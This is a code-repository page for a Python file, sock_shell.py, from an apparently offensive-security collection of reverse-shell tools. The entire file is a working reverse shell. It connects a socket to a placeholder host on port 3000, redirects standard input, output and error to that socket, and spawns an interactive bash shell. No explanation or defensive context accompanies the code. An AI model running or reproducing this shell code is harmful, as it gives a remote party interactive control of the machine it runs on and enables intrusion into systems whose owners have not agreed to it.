killchain-compendium/Reverse Shells/Tools/sock_shell.py

11 lines
229 B
Python
Raw Permalink Normal View History

2022-11-13 16:00:22 +01:00
import os
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("#Target", 3000))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
import pty;pty.spawn("/bin/bash")